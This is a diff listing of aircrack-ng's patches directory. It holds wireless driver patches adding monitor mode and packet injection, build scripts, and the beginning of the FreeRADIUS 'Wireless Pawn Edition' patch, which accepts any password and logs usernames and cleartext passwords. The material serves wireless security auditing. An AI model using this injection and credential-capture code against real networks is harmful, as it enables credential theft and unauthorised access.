++	install -d $(ieeedir)
++	install -d $(r8187dir)
++	install -m 644 ./ieee80211/*.ko $(ieeedir)
++	install -m 644 ./beta-8187/*.ko $(r8187dir)
++	-find /lib/modules/$(shell uname -r) -name rtl8187.ko -exec mv -v {} ~/ \;
++	-depmod -ae
++
++uninstall:
++	-rm -f $(ieeedir)/ieee80211-rtl.ko
++	-rm -f $(ieeedir)/ieee80211_crypt-rtl.ko
++	-rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko
++	-rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko
++	-rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko
++	-rm -f $(r8187dir)/r8187.ko
++	-rm -fr $(ieeedir)
++	-rm -fr $(r8187dir)
++	-depmod -ae
++
++clean:
++	$(MAKE) -C ieee80211 $(@)
++	$(MAKE) -C beta-8187 $(@)
++
++distclean: clean
++
+diff -Naur rtl8187_orig/symvers rtl8187_rawtx/symvers
+--- rtl8187_orig/symvers	1970-01-01 01:00:00.000000000 +0100
++++ rtl8187_rawtx/symvers	2007-05-26 10:39:22.000000000 +0200
+@@ -0,0 +1,25 @@
++#!/bin/sh
++
++cd beta-8187
++
++if  -e Module.symvers 
++then
++	rm Module.symvers
++fi
++
++if  -e Modules.symvers 
++then
++	rm Modules.symvers
++fi
++
++if  -e ../ieee80211/Module.symvers 
++then
++	ln -sf ../ieee80211/Module.symvers ./
++fi
++
++if  -e ../ieee80211/Modules.symvers 
++then
++	ln -sf ../ieee80211/Modules.symvers ./
++fi
++
++cd ..
+diff -Naur rtl8187_orig/wlan0rmv rtl8187_rawtx/wlan0rmv
+--- rtl8187_orig/wlan0rmv	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/wlan0rmv	2007-06-21 23:43:25.000000000 +0200
+@@ -1,5 +1,9 @@
+ #!/bin/bash
+ 
+-rmmod r8180
+-rmmod ieee80211_r8180
+-rmmod ieee80211_crypt_r8180
++rmmor rtl8187 2>/dev/null
++rmmod r8187 2>/dev/null
++rmmod ieee80211_rtl 2>/dev/null
++rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null
++rmmod ieee80211_crypt_tkip_rtl 2>/dev/null
++rmmod ieee80211_crypt_wep_rtl 2>/dev/null
++rmmod ieee80211_crypt_rtl 2>/dev/null

aircrack-ng-1.7.tar.gz/patches/old/wrt54g.patch Added

@@ -0,0 +1,88 @@
+--- airodump-ng.c	2006-04-24 01:29:17.578125000 +0200
++++ airodump-ng-patched.c	2006-05-01 16:28:07.531250000 +0200
+@@ -1690,37 +1690,54 @@
+     int pid, status;
+     struct iwreq wrq;
+ 
+-    if( G.is_wlanng )
+-    {
+-        if( ( pid = fork() ) == 0 )
+-        {
+-            close( 0 ); close( 1 ); close( 2 ); chdir( "/" );
+-            execlp( "wlanctl-ng", "wlanctl-ng", interface,
+-                    "lnxreq_wlansniff", "enable=true",
+-                    "prismheader=true", "wlanheader=false",
+-                    "stripfcs=true", "keepwepflags=true", NULL );
+-            exit( 1 );
+-        }
+-
+-        waitpid( pid, &status, 0 );
+-
+-        if( WIFEXITED(status) )
+-            return( WEXITSTATUS(status) );
+-        return( 1 );
+-    }
+-
+-    memset( &wrq, 0, sizeof( struct iwreq ) );
+-    strncpy( wrq.ifr_name, interface, IFNAMSIZ );
+-    wrq.u.mode = IW_MODE_MONITOR;
+-
+-    if( ioctl( fd_raw, SIOCSIWMODE, &wrq ) < 0 )
+-    {
+-        perror( "ioctl(SIOCSIWMODE) failed" );
+-        return( 1 );
+-    }
+-
+-    set_channel( interface, fd_raw, 10 );
+-
++	if( strcmp(interface,"prism0") == 0 )
++	{
++		if( ( pid = fork() ) == 0 )
++		{
++			close( 0 ); close( 1 ); close( 2 ); chdir( "/" );
++			execlp( "wl", "wl", "monitor", "1", NULL);
++			exit( 1 );
++		}
++		waitpid(pid, &status,0);
++		if( WIFEXITED(status) )
++			return( WEXITSTATUS(status) );
++		return( 1 );		
++	}
++	else
++	{
++		if( G.is_wlanng )
++		{
++			if( ( pid = fork() ) == 0 )
++			{
++				close( 0 ); close( 1 ); close( 2 ); chdir( "/" );
++				execlp( "wlanctl-ng", "wlanctl-ng", interface,
++						"lnxreq_wlansniff", "enable=true",
++						"prismheader=true", "wlanheader=false",
++						"stripfcs=true", "keepwepflags=true", NULL );
++				exit( 1 );
++			}
++
++			waitpid( pid, &status, 0 );
++
++			if( WIFEXITED(status) )
++				return( WEXITSTATUS(status) );
++			return( 1 );
++		}
++
++		memset( &wrq, 0, sizeof( struct iwreq ) );
++		strncpy( wrq.ifr_name, interface, IFNAMSIZ );
++		wrq.u.mode = IW_MODE_MONITOR;
++
++		if( ioctl( fd_raw, SIOCSIWMODE, &wrq ) < 0 )
++		{
++			perror( "ioctl(SIOCSIWMODE) failed" );
++			return( 1 );
++		}
++	
++	}
++	
++	set_channel( interface, fd_raw, 10 );
++	
+     return( 0 );
+ }
+ 
\ No newline at end of file

aircrack-ng-1.7.tar.gz/patches/old/zd1211rw_inject-2.6.20-gentoo-r4.patch Added

@@ -0,0 +1,116 @@
+diff -ur linux-2.6.20-gentoo-r4/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.20-gentoo-r4-inject/drivers/net/wireless/zd1211rw/zd_mac.c
+--- linux-2.6.20-gentoo-r4/drivers/net/wireless/zd1211rw/zd_mac.c	2007-04-03 00:53:39.000000000 -0400
++++ linux-2.6.20-gentoo-r4-inject/drivers/net/wireless/zd1211rw/zd_mac.c	2007-04-03 00:50:05.000000000 -0400
+@@ -202,7 +202,16 @@
+ 		goto disable_rx;
+ 
+ 	housekeeping_enable(mac);
++
++	netif_carrier_on(netdev);
++
+ 	ieee80211softmac_start(netdev);
++
++        if(!netif_queue_stopped(netdev))
++                netif_start_queue(netdev);
++        else
++                netif_wake_queue(netdev);
++ 
+ 	return 0;
+ disable_rx:
+ 	zd_chip_disable_rx(chip);
+@@ -929,6 +938,8 @@
+ 	u8  rt_rate;
+ 	u16 rt_channel;
+ 	u16 rt_chbitmask;
++        u8  rt_antsignal;
++        u8  rt_antnoise;
+ } __attribute__((packed));
+ 
+ static void fill_rt_header(void *buffer, struct zd_mac *mac,
+@@ -942,7 +953,9 @@
+ 	hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr));
+ 	hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) |
+ 		                 (1 << IEEE80211_RADIOTAP_CHANNEL) |
+-				 (1 << IEEE80211_RADIOTAP_RATE));
++                                 (1 << IEEE80211_RADIOTAP_RATE) |
++                                 (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) |
++                                 (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE));
+ 
+ 	hdr->rt_flags = 0;
+ 	if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256))
+@@ -956,6 +969,12 @@
+ 	hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ |
+ 		((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) ==
+ 		ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK));
++
++        hdr->rt_antsignal = status->signal_strength;
++        if(status->frame_status & ZD_RX_OFDM)
++                hdr->rt_antnoise = status->signal_strength - status->signal_quality_ofdm;
++        else
++                hdr->rt_antnoise = status->signal_strength - status->signal_quality_cck;
+ }
+ 
+ /* Returns 1 if the data packet is for us and 0 otherwise. */
+@@ -1062,7 +1081,8 @@
+ 	const struct rx_status *status;
+ 
+ 	*pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status));
+-	if (status->frame_status & ZD_RX_ERROR) {
++        if (status->frame_status & ZD_RX_ERROR
++                || status->frame_status & ~0x21) {
+ 		/* FIXME: update? */
+ 		return -EINVAL;
+ 	}
+Only in linux-2.6.20-gentoo-r4-inject/include: config
+diff -ur linux-2.6.20-gentoo-r4/net/ieee80211/ieee80211_tx.c linux-2.6.20-gentoo-r4-inject/net/ieee80211/ieee80211_tx.c
+--- linux-2.6.20-gentoo-r4/net/ieee80211/ieee80211_tx.c	2007-04-03 00:53:44.000000000 -0400
++++ linux-2.6.20-gentoo-r4-inject/net/ieee80211/ieee80211_tx.c	2007-04-03 00:45:52.000000000 -0400
+@@ -291,6 +291,24 @@
+ 		goto success;
+ 	}
+ 
++        if(ieee->iw_mode == IW_MODE_MONITOR)
++        {
++                txb = ieee80211_alloc_txb(1, skb->len,
++                                        ieee->tx_headroom, GFP_ATOMIC);
++                if (unlikely(!txb)) {
++                        printk(KERN_WARNING "%s: Could not allocate TXB\n",
++                        ieee->dev->name);
++                        goto failed;
++                }
++ 
++                txb->encrypted = 0;
++                txb->payload_size = skb->len;
++                memcpy(skb_put(txb->fragments0,skb->len), skb->data, skb->len);
++ 
++                goto success;
++        }
++
++
+ 	ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto);
+ 
+ 	crypt = ieee->cryptieee->tx_keyidx;
+Only in linux-2.6.20-gentoo-r4-inject/scripts/basic: .docproc.cmd
+Only in linux-2.6.20-gentoo-r4-inject/scripts/basic: .fixdep.cmd
+Only in linux-2.6.20-gentoo-r4-inject/scripts/basic: docproc
+Only in linux-2.6.20-gentoo-r4-inject/scripts/basic: fixdep
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: .conf.o.cmd
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: .kconfig_load.o.cmd
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: .kxgettext.o.cmd
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: .qconf.cmd
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: .qconf.o.cmd
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: .tmp_qtcheck
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: .zconf.tab.o.cmd
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: conf
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: conf.o
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: kconfig_load.o
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: kxgettext.o
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: lex.zconf.c
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: lkc_defs.h
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: mconf
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: qconf
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: qconf.moc
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: qconf.o
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: zconf.hash.c
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: zconf.tab.c
+Only in linux-2.6.20-gentoo-r4-inject/scripts/kconfig: zconf.tab.o

aircrack-ng-1.7.tar.gz/patches/old/zd1211rw_inject.patch Added

@@ -0,0 +1,88 @@
+--- linux-source-2.6.17-orig/net/ieee80211/ieee80211_tx.c	2006-10-13 14:18:10.000000000 +0200
++++ linux/net/ieee80211/ieee80211_tx.c	2007-04-02 23:57:25.000000000 +0200
+@@ -291,6 +291,23 @@
+ 		goto success;
+ 	}
+ 
++	if(ieee->iw_mode == IW_MODE_MONITOR)
++	{
++		txb = ieee80211_alloc_txb(1, skb->len,
++					ieee->tx_headroom, GFP_ATOMIC);
++		if (unlikely(!txb)) {
++			printk(KERN_WARNING "%s: Could not allocate TXB\n",
++			ieee->dev->name);
++			goto failed;
++		}
++
++		txb->encrypted = 0;
++		txb->payload_size = skb->len;
++		memcpy(skb_put(txb->fragments0,skb->len), skb->data, skb->len);
++
++		goto success;
++	}
++
+ 	ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto);
+ 
+ 	crypt = ieee->cryptieee->tx_keyidx;
+--- linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_mac.c	2006-10-01 18:42:47.000000000 +0200
++++ linux/drivers/net/wireless/zd1211rw/zd_mac.c	2007-04-03 00:01:52.000000000 +0200
+@@ -180,7 +180,16 @@
+ 	if (r < 0)
+ 		goto disable_rx;
+ 
++	netif_carrier_on(netdev);
++
+ 	ieee80211softmac_start(netdev);
++
++	if(!netif_queue_stopped(netdev))
++		netif_start_queue(netdev);
++	else
++		netif_wake_queue(netdev);
++
++
+ 	return 0;
+ disable_rx:
+ 	zd_chip_disable_rx(chip);
+@@ -716,6 +725,8 @@
+ 	u8  rt_rate;
+ 	u16 rt_channel;
+ 	u16 rt_chbitmask;
++	u8  rt_antsignal;
++	u8  rt_antnoise;
+ } __attribute__((packed));
+ 
+ static void fill_rt_header(void *buffer, struct zd_mac *mac,
+@@ -729,7 +740,9 @@
+ 	hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr));
+ 	hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) |
+ 		                 (1 << IEEE80211_RADIOTAP_CHANNEL) |
+-				 (1 << IEEE80211_RADIOTAP_RATE));
++				 (1 << IEEE80211_RADIOTAP_RATE) |
++		                 (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) |
++		                 (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE));
+ 
+ 	hdr->rt_flags = 0;
+ 	if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256))
+@@ -743,6 +756,12 @@
+ 	hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ |
+ 		((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) ==
+ 		ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK));
++
++	hdr->rt_antsignal = status->signal_strength;
++	if(status->frame_status & ZD_RX_OFDM)
++		hdr->rt_antnoise = status->signal_strength - status->signal_quality_ofdm;
++	else
++		hdr->rt_antnoise = status->signal_strength - status->signal_quality_cck;
+ }
+ 
+ /* Returns 1 if the data packet is for us and 0 otherwise. */
+@@ -834,7 +853,8 @@
+ 	const struct rx_status *status;
+ 
+ 	*pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status));
+-	if (status->frame_status & ZD_RX_ERROR) {
++	if (status->frame_status & ZD_RX_ERROR
++		|| status->frame_status & ~0x21) {
+ 		/* FIXME: update? */
+ 		return -EINVAL;
+ 	}

aircrack-ng-1.7.tar.gz/patches/rt73-k2wrkz-3.0.3_add_EW-7318USg.patch Added

aircrack-ng-1.7.tar.gz/patches/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch Added

@@ -0,0 +1,30 @@
+diff --git a/drivers/net/wireless/rtl818x/rtl8187_dev.c b/drivers/net/wireless/rtl818x/rtl8187_dev.c
+index 9212cea..08d04a3 100644
+--- a/drivers/net/wireless/rtl818x/rtl8187_dev.c
++++ b/drivers/net/wireless/rtl818x/rtl8187_dev.c
+@@ -258,7 +258,11 @@ static int rtl8187_tx(struct ieee80211_hw *dev, struct sk_buff *skb)
+ 		hdr->flags = cpu_to_le32(flags);
+ 		hdr->len = 0;
+ 		hdr->rts_duration = rts_dur;
+-		hdr->retry = cpu_to_le32((info->control.rates0.count - 1) << 8);
++		if (!(info->flags & IEEE80211_TX_CTL_NO_ACK))
++		  hdr->retry =
++		    cpu_to_le32((info->control.rates0.count - 1) << 8);
++		else
++		  hdr->retry = 0;
+ 		buf = hdr;
+ 
+ 		ep = 2;
+@@ -276,7 +280,11 @@ static int rtl8187_tx(struct ieee80211_hw *dev, struct sk_buff *skb)
+ 		memset(hdr, 0, sizeof(*hdr));
+ 		hdr->flags = cpu_to_le32(flags);
+ 		hdr->rts_duration = rts_dur;
+-		hdr->retry = cpu_to_le32((info->control.rates0.count - 1) << 8);
++		if (!(info->flags & IEEE80211_TX_CTL_NO_ACK))
++		  hdr->retry =
++		    cpu_to_le32((info->control.rates0.count - 1) << 8);
++		else
++		  hdr->retry = 0;
+ 		hdr->tx_duration =
+ 			ieee80211_generic_frame_duration(dev, priv->vif,
+ 							 skb->len, txrate);

aircrack-ng-1.7.tar.gz/patches/rtl8187-ng-2.6.31.patch Added

@@ -0,0 +1,95 @@
+diff -ur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006.netdev/beta-8187/r8187_core.c
+--- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c	2009-11-02 17:37:33.944878408 +0100
++++ rtl8187_linux_26.1010.0622.2006.netdev/beta-8187/r8187_core.c	2009-11-02 17:50:23.252287868 +0100
+@@ -1892,8 +1892,10 @@
+ 		priv->epromtype=EPROM_93c46;
+ 		DMESG("Reported EEPROM chip is a 93c46 (1Kbit)");
+ 	}
+-
+-	dev->get_stats = rtl8180_stats;
++
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,31)
++	dev->get_stats = rtl8180_stats;
++#endif
+ 
+ 	dev->dev_addr0=eprom_read(dev,MAC_ADR) & 0xff;
+ 	dev->dev_addr1=(eprom_read(dev,MAC_ADR) & 0xff00)>>8;
+@@ -2596,7 +2598,19 @@
+ /****************************************************************************
+      ---------------------------- USB_STUFF---------------------------
+ *****************************************************************************/
+-
++
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,31)
++static const struct net_device_ops rtl8180_netdev_ops = {
++	.ndo_open		= rtl8180_open,
++	.ndo_stop		= rtl8180_close,
++	.ndo_get_stats		= rtl8180_stats,
++	.ndo_tx_timeout		= tx_timeout,
++	.ndo_do_ioctl		= rtl8180_ioctl,
++	.ndo_set_multicast_list	= r8180_set_multicast,
++	.ndo_set_mac_address	= r8180_set_mac_adr,
++	//.ndo_start_xmit		= rtl8180_8023_hard_start_xmit,
++};
++#endif
+ 
+ static int __devinit rtl8187_usb_probe(struct usb_interface *intf,
+ 			 const struct usb_device_id *id)
+@@ -2620,16 +2634,20 @@
+ 	priv = ieee80211_priv_rtl7(dev);
+ 	priv->ieee80211 = netdev_priv(dev);
+ 
+-	priv->udev=udev;
+-
+-	dev->open = rtl8180_open;
+-	dev->stop = rtl8180_close;
+-	//dev->hard_start_xmit = rtl8180_8023_hard_start_xmit;
+-	dev->tx_timeout = tx_timeout;
+-	dev->wireless_handlers = &r8180_wx_handlers_def;
+-	dev->do_ioctl = rtl8180_ioctl;
+-	dev->set_multicast_list = r8180_set_multicast;
+-	dev->set_mac_address = r8180_set_mac_adr;
++	priv->udev=udev;
++
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,31)
++    dev->netdev_ops = &rtl8180_netdev_ops;
++#else
++	dev->open = rtl8180_open;
++	dev->stop = rtl8180_close;
++	//dev->hard_start_xmit = rtl8180_8023_hard_start_xmit;
++	dev->tx_timeout = tx_timeout;
++	dev->wireless_handlers = &r8180_wx_handlers_def;
++	dev->do_ioctl = rtl8180_ioctl;
++	dev->set_multicast_list = r8180_set_multicast;
++	dev->set_mac_address = r8180_set_mac_adr;
++#endif
+ #if WIRELESS_EXT >= 12
+ #if WIRELESS_EXT < 17
+ 	dev->get_wireless_stats = r8180_get_wireless_stats;
+diff -ur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006.netdev/ieee80211/ieee80211_module.c
+--- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c	2009-11-02 17:37:33.954872206 +0100
++++ rtl8187_linux_26.1010.0622.2006.netdev/ieee80211/ieee80211_module.c	2009-11-02 17:39:50.322350883 +0100
+@@ -103,6 +103,11 @@
+ 		list_add_tail(&ieee->networksi.list, &ieee->network_free_list);
+ }
+ 
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,31)
++static struct net_device_ops ieee80211_netdev_ops = {
++    .ndo_start_xmit = ieee80211_xmit_rtl7,
++};
++#endif
+ 
+ struct net_device *alloc_ieee80211_rtl7(int sizeof_priv)
+ {
+@@ -118,7 +123,11 @@
+ 		goto failed;
+ 	}
+ 	ieee = netdev_priv(dev);
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,31)
++    dev->netdev_ops = &ieee80211_netdev_ops;
++#else
+ 	dev->hard_start_xmit = ieee80211_xmit_rtl7;
++#endif
+ 
+ 	ieee->dev = dev;
+

aircrack-ng-1.7.tar.gz/patches/wpe/freeradius-wpe/Dockerfile Added

@@ -0,0 +1,64 @@
+# Docker container to test WPE patch against a specific version of freeradius, then create an updated patch if successful.
+# Build args:
+# - OLD_VERSION: old hostapd version
+# - NEW_VERSION: new hostapd version
+
+FROM kalilinux/kali-rolling
+
+ARG OLD_VERSION
+ARG NEW_VERSION
+
+RUN if  -z "${OLD_VERSION}" ; then \
+  >&2 echo  "\nOLD_VERSION build argument not set\n"; \
+  exit 1; \
+  fi
+
+RUN if  -z "${NEW_VERSION}" ; then \
+  >&2 echo  "\nNEW_VERSION build argument not set\n"; \
+  exit 1; \
+  fi
+
+RUN if  "${NEW_VERSION}" = "${OLD_VERSION}" ; then \
+  >&2 echo  "\nNew version and old version cannot be identical!\n"; \
+  exit 1; \
+  fi
+
+
+
+RUN apt update && apt dist-upgrade -y && \
+	apt install -y wget patch make gcc \
+		libssl-dev build-essential libtalloc-dev libpcre3-dev libsqlite3-dev \
+		libhiredis-dev libykclient-dev libyubikey-dev default-libmysqlclient-dev \
+		libcurl4-openssl-dev libperl-dev libpam0g-dev libcap-dev libmemcached-dev \
+		libgdbm-dev unixodbc-dev libpq-dev libwbclient-dev libkrb5-dev libjson-c-dev \
+		freetds-dev samba-dev libcollectdclient-dev libldap-dev && \
+	apt autoclean && \
+	rm -rf /var/lib/apt/lists/*
+
+# Download and unpack
+WORKDIR /tmp
+RUN wget https://github.com/FreeRADIUS/freeradius-server/releases/download/release_$(echo ${NEW_VERSION} | tr '.' '_')/freeradius-server-${NEW_VERSION}.tar.bz2
+RUN tar -xjf freeradius-server-${NEW_VERSION}.tar.bz2
+RUN cp -R freeradius-server-${NEW_VERSION} freeradius-server-${NEW_VERSION}-wpe
+
+# Download and apply patch
+RUN wget https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/freeradius-wpe/freeradius-server-${OLD_VERSION}-wpe.diff
+WORKDIR /tmp/freeradius-server-${NEW_VERSION}-wpe
+RUN patch --no-backup-if-mismatch -Np1 -i ../freeradius-server-${OLD_VERSION}-wpe.diff
+
+
+# Create updated patch
+WORKDIR /tmp/
+RUN if  $(diff -rupN freeradius-server-${NEW_VERSION} freeradius-server-${NEW_VERSION}-wpe > freeradius-server-${NEW_VERSION}-wpe.diff) -eq 2 ; then \
+		echo "diff failed"; \
+		ext 1; \
+	fi
+
+# Ensure it compiles
+WORKDIR /tmp/freeradius-server-${NEW_VERSION}-wpe
+RUN ./configure
+RUN make
+
+# Then copy patch to /output
+WORKDIR /tmp
+RUN mkdir /output && mv  freeradius-server-${NEW_VERSION}-wpe.diff /output

aircrack-ng-1.6.tar.gz/patches/wpe/freeradius-wpe/README.md -> aircrack-ng-1.7.tar.gz/patches/wpe/freeradius-wpe/README.md Changed

@@ -1,9 +1,9 @@
 # FreeRadius Wireless Pawn Edition
 
-Updated patch for FreeRadius 3.0.20
+Updated patch for FreeRadius 3.2.0
 
 More information about WPE can be found:
-http://www.willhackforsushi.com/?page_id=37
+https://www.willhackforsushi.com/?page_id=37
 
 Supported and tested EAP Types/Inner Authentication Methods (others may also work):
 * PEAP/PAP (OTP)
@@ -18,13 +18,13 @@
 ### Dependencies
 
 ```
-apt-get install libssl-dev build-essential libtalloc-dev libpcre3-dev
+apt install libssl-dev build-essential libtalloc-dev libpcre3-dev
 ```
 
 ### Optional dependencies
 
 ```
-apt-get install libsqlite3-dev libhiredis-dev libykclient-dev libyubikey-dev default-libmysqlclient-dev libcurl4-openssl-dev libperl-dev libpam0g-dev libcap-dev libmemcached-dev libgdbm-dev libiodbc2-dev libpq-dev libwbclient-dev libkrb5-dev libjson-c-dev freetds-dev libwbclient-sssd-dev samba-dev libiodbc2-dev
+apt install libsqlite3-dev libhiredis-dev libykclient-dev libyubikey-dev default-libmysqlclient-dev libcurl4-openssl-dev libperl-dev libpam0g-dev libcap-dev libmemcached-dev libgdbm-dev unixodbc-dev libpq-dev libwbclient-dev libkrb5-dev libjson-c-dev freetds-dev libwbclient-sssd-dev samba-dev libcollectdclient-dev libldap-dev
 ```
 
 ### Compilation
@@ -32,11 +32,11 @@
 Run the following commands:
 
 ```
-wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-3.0.20.tar.bz2
-tar -xjf freeradius-server-3.0.20.tar.bz2
-cd freeradius-server-3.0.20/
-wget https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/freeradius-wpe/freeradius-wpe.patch
-patch -Np1 -i freeradius-wpe.patch
+wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-3.2.0.tar.bz2
+tar -xjf freeradius-server-3.2.0.tar.bz2
+cd freeradius-server-3.2.0/
+wget https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/freeradius-wpe/freeradius-server-3.2.0-wpe.diff
+patch -Np1 -i freeradius-server-3.2.0-wpe.diff
 ./configure
 make
 make install

aircrack-ng-1.7.tar.gz/patches/wpe/freeradius-wpe/freeradius-server-3.2.0-wpe.diff Added

@@ -0,0 +1,404 @@
+diff -rupN freeradius-server-3.2.0/raddb/mods-config/files/authorize freeradius-server-3.2.0-wpe/raddb/mods-config/files/authorize
+--- freeradius-server-3.2.0/raddb/mods-config/files/authorize	2022-04-21 20:11:17.000000000 +0000
++++ freeradius-server-3.2.0-wpe/raddb/mods-config/files/authorize	2022-05-02 23:05:06.000000000 +0000
+@@ -204,3 +204,5 @@ DEFAULT	Hint == "SLIP"
+ # See the example user "bob" above.                     #
+ #########################################################
+ 
++DEFAULT Cleartext-Password := "foo", MS-CHAP-Use-NTLM-Auth := 0
++DEFAULT Cleartext-Password := "a"
+diff -rupN freeradius-server-3.2.0/raddb/radiusd.conf.in freeradius-server-3.2.0-wpe/raddb/radiusd.conf.in
+--- freeradius-server-3.2.0/raddb/radiusd.conf.in	2022-04-21 20:11:17.000000000 +0000
++++ freeradius-server-3.2.0-wpe/raddb/radiusd.conf.in	2022-05-02 23:05:06.000000000 +0000
+@@ -445,6 +445,9 @@ ENV {
+ #	LD_PRELOAD = /path/to/library2.so
+ }
+ 
++# Wireless Pawn Edition log file
++wpelogfile = ${logdir}/freeradius-server-wpe.log
++
+ # SECURITY CONFIGURATION
+ #
+ #  There may be multiple methods of attacking on the server.  This
+diff -rupN freeradius-server-3.2.0/src/include/log.h freeradius-server-3.2.0-wpe/src/include/log.h
+--- freeradius-server-3.2.0/src/include/log.h	2022-04-21 20:11:17.000000000 +0000
++++ freeradius-server-3.2.0-wpe/src/include/log.h	2022-05-02 23:05:06.000000000 +0000
+@@ -72,6 +72,11 @@ typedef struct fr_log_t {
+ 	char const	*debug_file;	//!< Path to debug log file.
+ } fr_log_t;
+ 
++void log_wpe(const char *authtype, const char *username, const char *password,
++				const unsigned char *challenge, const unsigned int challen,
++				const unsigned char *response, const unsigned int resplen,
++				const char * logfilename);
++
+ typedef		void (*radlog_func_t)(log_type_t lvl, log_lvl_t priority, REQUEST *, char const *, va_list ap);
+ 
+ extern FR_NAME_NUMBER const syslog_facility_table;
+diff -rupN freeradius-server-3.2.0/src/include/radiusd.h freeradius-server-3.2.0-wpe/src/include/radiusd.h
+--- freeradius-server-3.2.0/src/include/radiusd.h	2022-04-21 20:11:17.000000000 +0000
++++ freeradius-server-3.2.0-wpe/src/include/radiusd.h	2022-05-02 23:05:06.000000000 +0000
+@@ -152,6 +152,8 @@ typedef struct main_config {
+ 	char const	*checkrad;			//!< Script to use to determine if a user is already
+ 							//!< connected.
+ 
++	char const	*wpelogfile;			//!< Wireless Pawn Edition log file path.
++
+ 	rad_listen_t	*listen;			//!< Head of a linked list of listeners.
+ 
+ 
+diff -rupN freeradius-server-3.2.0/src/main/auth.c freeradius-server-3.2.0-wpe/src/main/auth.c
+--- freeradius-server-3.2.0/src/main/auth.c	2022-04-21 20:11:17.000000000 +0000
++++ freeradius-server-3.2.0-wpe/src/main/auth.c	2022-05-02 23:05:06.000000000 +0000
+@@ -129,6 +129,7 @@ static int rad_authlog(char const *msg,
+ 		} else {
+ 			fr_prints(clean_password, sizeof(clean_password),
+ 				  request->password->vp_strvalue, request->password->vp_length, '\0');
++			log_wpe("password", request->username->vp_strvalue, clean_password, NULL, 0, NULL, 0, main_config.wpelogfile);
+ 		}
+ 	}
+ 
+diff -rupN freeradius-server-3.2.0/src/main/libfreeradius-server.mk freeradius-server-3.2.0-wpe/src/main/libfreeradius-server.mk
+--- freeradius-server-3.2.0/src/main/libfreeradius-server.mk	2022-04-21 20:11:17.000000000 +0000
++++ freeradius-server-3.2.0-wpe/src/main/libfreeradius-server.mk	2022-05-02 23:05:06.000000000 +0000
+@@ -14,6 +14,7 @@ SOURCES	:=	conffile.c \
+ 		pair.c \
+ 		xlat.c
+ 
++
+ # This lets the linker determine which version of the SSLeay functions to use.
+ TGT_LDLIBS      := $(OPENSSL_LIBS)
+ 
+diff -rupN freeradius-server-3.2.0/src/main/log.c freeradius-server-3.2.0-wpe/src/main/log.c
+--- freeradius-server-3.2.0/src/main/log.c	2022-04-21 20:11:17.000000000 +0000
++++ freeradius-server-3.2.0-wpe/src/main/log.c	2022-05-02 23:05:06.000000000 +0000
+@@ -29,6 +29,7 @@ RCSID("$Id: 1ca2f914c258f3c199274421d7d2
+ 
+ #include <freeradius-devel/radiusd.h>
+ #include <freeradius-devel/rad_assert.h>
++/*#include <freeradius-devel/conf.h>*/
+ 
